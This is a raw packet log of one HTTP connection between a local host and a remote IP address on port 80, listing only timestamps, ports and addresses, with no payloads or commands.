Jul 15, 2024 00:48:26.403068066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403081894 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403088093 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.403095007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403114080 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.403126001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403131008 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.403139114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403151035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403162003 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.403163910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403177023 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.403196096 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.403512955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403526068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403537035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403554916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.403558016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403572083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403578997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.403593063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403604984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403606892 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.403618097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403624058 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.403630972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403644085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403650999 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.403657913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403670073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403677940 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.403681993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403692007 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.403717995 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.403913975 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403927088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403938055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403949976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.403949976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403961897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403974056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403975010 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.403985977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403999090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.403999090 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404014111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404026985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404036999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404058933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404072046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404083967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404095888 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404109955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404122114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404134035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404146910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404153109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404153109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404153109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404153109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404153109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404160976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404165983 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404165983 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404175043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404184103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404189110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404202938 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404211998 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404216051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404228926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404238939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404244900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404254913 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404256105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404268980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404279947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404282093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404294014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404305935 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404306889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404320955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404320955 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404334068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404339075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404349089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404361010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404364109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404373884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404383898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404392004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404407978 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404429913 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404903889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404916048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404927969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404939890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404949903 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404953003 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404967070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404977083 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.404978991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404989958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.404994965 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.405003071 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405019045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405021906 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.405030966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405045033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405047894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.405059099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405066967 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.405072927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405097008 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.405122042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.405277967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405291080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405302048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405318975 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.405322075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405334949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405344963 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.405347109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405359030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405369043 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.405371904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405390024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405397892 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.405401945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405412912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.405414104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405426979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405437946 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.405440092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405452013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405463934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405481100 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.405481100 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.405488014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.405505896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.405531883 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.413405895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.413433075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.413486004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.413512945 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.413531065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.413553953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.413568020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.413573980 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.413582087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.413594007 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.413597107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.413608074 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.413610935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.413628101 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.413635969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.413645983 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.413650036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.413664103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.413666964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.413671970 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.413690090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.413695097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.413702965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.413707972 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.413717031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.413728952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.413731098 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.413742065 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.413762093 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.413774967 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.414498091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.414510965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.414522886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.414556980 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.414566040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.414578915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.414580107 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.414593935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.414607048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.414608955 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.414621115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.414623976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.414638042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.414664030 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.441734076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.441749096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.441761017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.441827059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.441838980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.441853046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.441865921 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.441879034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.441940069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.441940069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.441940069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.441940069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.441976070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.441996098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442008018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442013025 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442020893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442022085 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442034960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442044020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442050934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442059040 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442086935 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442111969 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442125082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442137003 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442148924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442162037 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442167044 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442174911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442182064 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442188978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442213058 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442231894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442236900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442250013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442261934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442272902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442277908 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442292929 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442313910 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442428112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442440987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442455053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442467928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442471981 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442481041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442491055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442497969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442501068 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442511082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442523003 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442527056 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442533970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442545891 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442548037 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442570925 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442596912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442711115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442723036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442735910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442748070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442751884 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442764044 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442766905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442779064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442785978 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442791939 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442802906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442816019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442827940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442831039 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442840099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442853928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442857027 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442871094 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442893982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442898035 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442907095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442919016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442929983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.442933083 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442950964 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.442975998 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.443141937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443161964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443172932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443186045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.443186045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443197966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443205118 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.443211079 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443217993 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.443223953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443236113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443248034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443259001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443272114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443284035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443295002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443295956 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.443295956 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.443306923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.443309069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443322897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443332911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.443336010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443356037 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.443372011 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.443538904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443551064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443562984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443572998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443584919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.443586111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443598986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443608999 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.443610907 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443623066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443624020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.443634987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443648100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443650007 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.443685055 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.443850994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443862915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443872929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443886042 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443897009 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443900108 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.443908930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443918943 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.443921089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443933964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443934917 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.443945885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443958044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443962097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.443970919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443983078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.443989038 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.443998098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.444005013 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.444009066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.444031000 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.444056034 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.444083929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.444096088 CEST	80	49704	38.180.60.246	192.168.2.5
